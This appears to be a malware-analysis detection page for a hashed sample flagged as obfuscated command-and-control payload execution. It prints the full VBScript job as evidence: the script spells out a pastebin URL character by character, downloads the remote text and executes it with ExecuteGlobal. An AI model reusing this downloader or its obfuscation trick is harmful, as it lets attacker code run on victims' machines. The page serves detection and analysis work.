1ccbe1e9e327403d1e44b2fc7112c4c96222bc4322f6e392550eaa60262508a3.unknown
Obfuscated C2 payload execution
ExecuteGlobal on variableExecuteGlobal evaluates VBScript text
SHA-2561ccbe1e9e327403d1e44b2fc7112c4c96222bc4322f6e392550eaa60262508a3
MaleculeO₂(XeC)H₂(Cm₃Po)
Evidence
1<job id="rinocerote">
2 <script language="VBScript">
3
4 Dim recacau, matadura, grela
5 matadura = "" & oxirregmia(104) & "" & oxirregmia(116) & "" & oxirregmia(116) & "" & oxirregmia(112) & "" & oxirregmia(115) & "://" & oxirregmia(112) & "" & oxirregmia(97) & "" & oxirregmia(115) & "" & oxirregmia(116) & "" & oxirregmia(101) & "" & oxirregmia(98) & "" & oxirregmia(105) & "" & oxirregmia(110) & "." & oxirregmia(99) & "" & oxirregmia(111) & "" & oxirregmia(109) & "/" & oxirregmia(114) & "" & oxirregmia(97) & "" & oxirregmia(119) & "/" & oxirregmia(65) & "" & oxirregmia(68) & "" & oxirregmia(86) & "" & oxirregmia(121) & "" & oxirregmia(68) & "" & oxirregmia(89) & "" & oxirregmia(121) & "" & oxirregmia(97) & ""
6 Set recacau = CreateObject("MSXML2.XMLHTTP")
7 recacau.open "GET", matadura, False
8 recacau.send
9 If recacau.Status = 200 Then
10 grela = recacau.responseText
11 ExecuteGlobal grela
12 Else
13 MsgBox "Erro ao acessar a URL: " & recacau.statusText
14 End If
15 Set recacau = Nothing
16 Function oxirregmia(parcagem)
17 oxirregmia = Chr(parcagem)
18 End Function
19
20 </script>
21</job>